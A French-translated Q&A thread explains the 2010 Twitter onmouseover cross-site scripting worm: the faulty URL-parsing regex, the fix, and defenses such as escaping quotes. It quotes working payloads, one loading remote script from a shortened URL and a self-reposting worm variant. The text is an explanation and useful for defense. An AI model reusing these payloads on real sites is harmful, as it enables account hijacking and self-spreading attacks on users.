52 votes

L'exploitation actuelle du XSS onmouseover sur twitter.com

Pouvez-vous expliquer ce qui s'est exactement passé sur Twitter aujourd'hui? Fondamentalement, l'exploit amène les gens à poster un tweet contenant ce lien:

 http://t.co/@"style="font-size:999999999999px;ononmouseover="$.getScript('htttt:\u002f\u002fis.gd\u002ffl9A7')"/ 

Est-ce techniquement une attaque XSS ou autre chose?

Voici à quoi ressemble la page d'accueil de Twitter: http://www.flickr.com/photos/travelist/6832853140/

38voto

Michael Foukarakis Points 14892

La vulnérabilité est parce que les URLs n'ont pas été analysée correctement. Par exemple, l'URL suivante est posté sur Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter traite de ce que l'URL. Quand il est analysé Twitter encapsule un lien autour de ce code, le code HTML ressemble maintenant à:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

Vous pouvez voir qu'en mettant dans l'URL et le slash de fin, Twitter pense qu'il a une URL valide, même si elle contient un guillemet en lui qui lui permet de s'échapper (ie. mettre fin à l' href d'attribut, pour les pédants) l'URL de l'attribut et comprend un dessus de la souris. Vous pouvez écrire quelque chose sur la page, y compris la fermeture de la liaison et y compris un élément de script. Aussi, vous n'êtes pas limité par la limite des 140 caractères, car vous pouvez utiliser $.getScript().

Cette validation, si elle avait été tirée, ce qui aurait empêché cette vulnérabilité XSS.

Dans le détail, la délinquance regex était:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

L' @[^\/]+\/ partielle est interdite à n'importe quel caractère (sauf une barre oblique) quand il a été précédé par un signe @ et suffixé par une barre oblique.

En changeant @#{REGEXEN[:valid_general_url_path_chars]}+\/ maintenant permet uniquement l'URL valide caractères.

15voto

Rook Points 34698

Oui c'est XSS, c'est l'attaque d'un gestionnaire d'événement javascript. Ce qui est cool à propos de ce XSS, c'est qu'il ne nécessite pas d' <> pour les exploiter. La chaîne injectée est: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

L' size::999999999999px le rend très grand et il y a de plus likly que quelqu'un de la souris dessus. Le vrai problème est l' onmouseover= de gestionnaire d'événements.

Pour éviter cela en PHP, vous devez convertir les guillemets dans leurs entités html: $var=htmlspecialchars($var,ENT_QUOTES);

C'est parce que le HTML vous ne pouvez pas échapper les guillemets comme sql: \'

4voto

Oscar Points 11821

L'exploit a été un morceau classique de Javascript injection. Supposons que vous écrivez un tweet avec le texte suivant:

"http://www.guardian.co.uk/technology is the best!"

Lorsque vous affichez le Twitter de la page web, qui devient un lien, comme ceci:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!

L'exploit attaqua le lien de la prise de fonction. Le texte brut de l'exploitation tweet serait de lire quelque chose comme ceci:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

Qui Twitter ne protègent pas correctement, probablement parce que le @" combinaison de caractères ont rompu leurs [HTML] analyseur. Ce lien permettrait de générer la page suivante source:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

Cela signifie que le contenu exécutable (le onMouseOver="trucs" bit) a terminé dans le code source d'une page. Ne sachant pas mieux, le navigateur exécute ce code. Parce qu'il est exécuté dans le navigateur de l'utilisateur, il peut faire tout ce que l'utilisateur n'; la plupart des variations utilisé ce pouvoir de re-publier le contenu, c'est pourquoi il se propage comme un virus. Pour inciter l'utilisateur à activer le code par l'utilisation de la souris de plus, ils ont également la mise en forme du bloc noir-sur-noir à l'aide du CSS [Feuilles de Style en Cascade, qui détermine la mise en page]. D'autres versions ont été piratés par les utilisateurs disposent de toutes sortes d'autres effets, tels que le porno des redirections vers le site, arc-en-ciel de texte dans leurs tweets, et ainsi de suite. Certains d'entre eux ont sauté boîtes de dialogue conçus pour inquiéter les utilisateurs, de parler de comptes désactivés ou des mots de passe volés (ils ne l'étaient pas, dans les deux cas).

Twitter fixe ce pas par le blocage de la chaîne onMouseOver (dont certains un peu simplet blogs demandaient), mais par une bonne désinfection de l'entrée. Les "marques dans ces tweets sont maintenant transformé en" – le HTML échappé à la forme.

Techniquement, c'est un second ordre d'attaque par injection; l'attaque de la chaîne est insérée dans la base de données et traitées correctement, mais ensuite, l'attaque se déroule de la chaîne est lue. Ce n'est pas que le complexe d'une attaque à tous les soit - plutôt embarrassant pour Twitter qu'ils ont été pris de court par cette.

Source: Le Twitter hack: comment il a commencé et comment il fonctionne

1voto

Adam Points 14766

C'est un exploit XSS. Comme Twitter a admis dans leur mise à jour. Vous pouvez empêcher de telles attaques en ne permettant jamais aux utilisateurs de publier du code javascript. Vous devriez toujours filtrer. Pour plus d’informations sur la façon d’éviter XSS, consultez la page suivante : http://www.owasp.org/index.php/Cross-site_Scripting_(XSS )

0voto

Wade Tandy Points 1983

De Wikipedia: "Cross-site scripting (XSS) est un type de faille de sécurité généralement trouvés dans les applications web qui permet à des attaquants d'injecter un script côté client dans les pages web consultées par les autres utilisateurs."

L'attaque d'aujourd'hui s'inscrit le projet de loi pour moi.

Fondamentalement, il y avait une sorte d'erreur d'analyse avec Twitter.com afficher le code. Quand ils ont converti les Url pour les liens hypertexte HTML, ils n'étaient pas de la manipulation @ correctement les caractères qui cause des événements javascript à insérer dans le code HTML du lien.

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X